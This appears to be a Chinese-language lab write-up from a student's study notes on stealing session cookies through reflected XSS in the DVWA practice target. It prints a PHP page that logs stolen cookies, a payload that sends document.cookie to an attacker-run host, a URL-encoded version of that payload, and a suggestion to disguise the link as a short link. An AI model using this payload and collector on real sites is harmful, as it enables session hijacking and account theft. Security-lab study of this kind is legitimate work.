那么流程如下:
第一步:搭建用于接收cookie的web站点。
(第一部步是要对于kali虚拟机中apache服务有一定的了解和学习的,这样才可以来接收cookie,并且搭建一个web站点)
第二步:构建恶意链接发送给用户。
(这一步 要 尽量的去熟悉xss常用代码比如:
<script>document.lacation='URL/xxs.php?cookie='+document.cookie</script>)将其发送给想要攻击的用户在其带点击 时就可以将其cookie存入准备好的web站点中保存。
第三步:用户点击恶意链接,目标网站返回带有恶意代码的web页面。
第四步:浏览器解析web页面,执行恶意代码,跳转到搭建的web站点。
第五步:从搭建的web站点中获取用户cookie。
需要准备的环境
靶场:DVWA
工具:burpsuite,kali虚拟机
第一步;
搭建我们的web站点,用来接收用户cookie。
这里我用kali来模拟,打开我的kali虚拟机,开启apache服务,进入/var/www/html文件,写一个用来接收cookie的网页,代码如下:
<?php
$a=$_GET["cookie"];
$file=fopen("gtck.html","a") or exit("</br>未找到文件!");
fwrite($file,$a."</br>");
fclose($file);
?>
很简单的一个网页主要用来接收用户cookie,然后写入gtck.html文件里,然后我们在创建gtck.html文件,用来保存用户cookie。
这里因为是先学然后在开始做笔记的这样的话以前就创建过这个gtck.html,所以这里就创建gtck2.html来演示一下
之后还有很重要的一件事,我们要给这两个文件改一下权限,不然会导致写入不成功,用户传来的cookie我们无法保存,
首先为我们要查看一下运行apache的用户名,然后更改两个文件的权限。
然后kali对于 文件提权的代码如下:
ps -axu | grep apache #查看运行apache的用户名
chown www-data:www-data xssgc.php gtck.html
# 更改文件权限
先获得kali的IP这样便于下一步的操作,
浏览器访问http://192.168.145.135 /xss.php?cookie=5看看传入的值有没有保存在gtck.html里。
这边可以看到也是保存到了gtck.html里面
在使用浏览器访问http://192.168.145.135 /xssgc.php?cookie=2,看看传入的值有没有保存在gtck.html里。
那么可以看到第一步写入成功了,将cookie写入了我们事先建立好的网站,并且保存了下来,我们在点开gtck.html 去更加细致的查看里面是否有我们保存的cookie。
可以看到我们写入的1和2都保存到了
那么下面我们就来进行实际操作
第一步
构建恶意连接发送给用户
是用DVWA靶场来进行实验
然后选择反射型xss
由于我们之前对于xss(reflected)进行了操作所以这里就知道其 存在xxs(reflected)漏洞
<script>document.location='http://192.168.145.135 /xssgc.php?cookie='+document.cookie</script>
这行代码也很简单,就是加载后转到我们搭建的web网页,向我们的网页传入用户的cookie,document.location='url'起到页面加载后转到
我们网页的作用,document.cookie起到获取用户cookie的作用,那么拼接上dvwa的url就是:
localhost/DVWA-master/DVWA-master/vulnerabilities/xss_r/?name=<script>document.location='http://192.168.145.135
/xssgc.php?cookie='+document.cookie</script>#
但是url里直接有代码就很明显,而且有时还会出错,所以我们要对payload进行url编码。
打开burp,选择decoder选项,输入我们的payload,选择url编码。
(当然也可以在一些在线编码网站上进行编码)
将编码后的paylod复制下来,然后拼接上url:
localhost/DVWA-master/DVWA-master/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%30%2e%31%30%39%2f%78%73%73%67%63%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65a%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
这里就是经过bp编辑过的payload,这个的作用是可
以便于隐藏和以及可以更好的去达到获取cookie等用户信息的目的
这就是最后完整的url,我们还可以对其伪造一下,列如短链接啥的,不过只是为了演示这儿就不弄了。
好的,我下 一部步就开始对于这个payload使用DVWA靶场来进行
我们点击生成的恶意代码,来模仿用户点击的得到如下回应
去kali的gtck.html查看是否有cookie被保存
可以看到也是被保存了下来
这样的话也是成功的得到cookie这样就可以,以该用户的名义去登录其账号窃取其机密
可以看到也是被保存了下来
这样的话也是成功的得到cookie这样就可以,以该用户的名义去登录其账号窃取其机密
但是对于将所学的知识用于实践还是有点困难的,因为环境,插件以及新的代代码,都增加了学习的难度